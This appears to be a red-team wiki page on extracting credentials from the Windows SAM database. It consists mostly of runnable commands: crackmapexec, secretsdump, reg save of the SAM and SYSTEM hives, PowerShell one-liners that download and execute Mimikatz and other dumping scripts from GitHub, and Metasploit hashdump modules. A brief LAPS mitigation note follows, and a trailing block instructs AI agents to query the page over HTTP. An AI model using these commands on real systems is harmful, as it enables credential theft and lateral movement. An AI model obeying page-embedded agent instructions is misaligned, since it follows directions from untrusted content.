# Security Account Manager (SAM)
**ATT\&CK ID:** [T1003.002](https://attack.mitre.org/techniques/T1003/002/)
**Permissions Required:** **SYSTEM**
**Description**
Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through in-memory techniques or through the Windows Registry where the SAM database is stored. The SAM is a database file that contains local accounts for the host, typically those found with the `net user` command. Enumerating the SAM database requires SYSTEM level access.
## Linux Techniques
### Crackmapexec
```bash
crackmapexec smb -u -p --sam
# Use the local-auth parameter when authenticating as a local account
crackmapexec smb -u -p --sam --local-auth
```
### Secretsdump
```bash
# Dump from SAM and SYSTEM. Ensure files are in current working directory
secretsdump.py -sam SAM -system SYSTEM LOCAL
```
## Windows Techniques
```powershell
# Manually save SAM and SYSTEM files (if needed for any tools below)
reg save HKLM\SAM c:\Exfiltration\SAM
reg save HKLM\SYSTEM c:\Exfiltration\SYSTEM
```
### DumpSam
This tool will filter out some default accounts such as Guest and the wdagutilityaccount account from the results.
Github:
```powershell
# Download and execute
IEX (IWR -UseBasicParsing https://raw.githubusercontent.com/The-Viper-One/PME-Scripts/main/DumpSAM.ps1)
```
### HiveDump
Github:
```powershell
# Load into memory
iex (iwr -UseBasicParsing https://raw.githubusercontent.com/tmenochet/PowerDump/master/HiveDump.ps1)
# Dump
Invoke-HiveDump
```
### Mimikatz
Github:
# Load into memory
IEX (IWR -UseBasicParsing "https://raw.githubusercontent.com/BC-SECURITY/Empire/master/empire/server/data/module_source/credentials/Invoke-Mimikatz.ps1")
# Dump from SAM and SYSTEM. Enusre files are in current working directory
Invoke-Mimikatz -command "lsadump::sam /system:SYSTEM /sam:SAM"
# Dump against the live hive files
Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
## Metasploit
```bash
# Modules
use post/windows/gather/hashdump
use post/windows/gather/credentials/credential_collector
# Meterpreter Shell
hashdump
# Extension:Kiwi
lsa_dump_s
```
## Mitigation
### LAPS
The "Local Administrator Password Solution" (LAPS) provides management of local account passwords of domain joined computers. Passwords are stored in Active Directory (AD) and protected by ACL, so only eligible users can read it or request its reset.
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### Restrict NTLM Traffic
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---
# Agent Instructions: Querying This Documentation
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Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
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```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
